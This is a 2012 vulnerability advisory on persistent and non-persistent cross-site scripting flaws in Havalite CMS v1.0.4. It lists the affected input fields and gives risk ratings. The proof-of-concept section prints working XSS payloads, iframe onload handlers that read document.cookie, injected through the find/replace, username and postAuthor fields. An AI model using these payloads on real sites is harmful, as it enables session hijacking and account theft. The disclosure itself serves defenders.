The Vulnerability Laboratory Researcher Team discovered multiple Web Vulnerabilities in Havalite CMS v1.0.4.

2012-04-23: Public or Non-Public Disclosure




Multiple persistent input validation vulnerabilities are detected in Havalite v1.0.4 Content Management System.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent)
context manipulation. Exploitation requires low user inter action because the admin needs to watch the user list.
The user includes his scriptcode as profile name and the code is getting executed on the administrator section

Vulnerable Module(s):
[+] findReplace - Input/Output Listing
[+] Username Profile Input & Username Login or Input Message Miscellaneous [postAuthor]


Multiple non persistent cross site scripting vulnerabilities are detected in Havalite v1.0.4 Content Management System.
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with high required
user inter action or local low privileged user account. Successful exploitation can result in account steal, phishing
& client-side content request manipulation.

Vulnerable Module(s):
[+] postID
[+] userID
[+] linkID


Proof of Concept:
The persistent input validation vulnerabilities can be exploited by remote attacker with low or medium required
user inter action. For demonstration or reproduce ...

Review: findReplace - Replace

<td id="catSplitter" valign="top" width="350"><form id="form1" name="form1" method="post" action="">
<input name="find" id="find" style="width: 100%;" type="text">
<iframe src="findReplace.php-Dateien/a.htm" onload="alert(document.cookie)" <"="">
<input name="replace" type="text" id="replace" style="width:100%;"
value=""><iframe src=a onload=alert(document.cookie) <" />
<span style="display:block; text-align:right; padding:10px 0;">
<label><input name="findOpt" type="radio" value="find"
checked="checked" />
Find only</label>
<label><input name="findOpt" type="radio" value="replace"
/>Find and Replace</label>
<span style="display:block; text-align:right; padding:10px 0;">
<input type="submit" name="Submit" value=" Replace in all posts


Review: Login Username Form & Edit Article Module

<td id="log_text">Username</td>
<td><input name="username" id="username" type="text">
<iframe src="hava_login.php-Dateien/a.htm" onload='alert("Vulnerabilitylab")' <"="" autofocus="autofocus"></td>


... or via miscellaneous module postAuthor

<input name="postAuthor" type="text" id="postAuthor" value="admin">
Date: <input name="postDate" type="text" id="postDate" value="11-10-14 15:42:40" />


The client side cross site scripting vulnerabilities can be exploited by remote attacker with medium or high required
user inter action. For demonstration or reproduce ...

PoC:>"<iframe src=http://www.vulnerability-lab.com>

The security risk of the persistent input validation vulnerabilities are estimated as medium(+).

The security risk of the client side cross site scripting vulnerabilities are estimated as low(+).
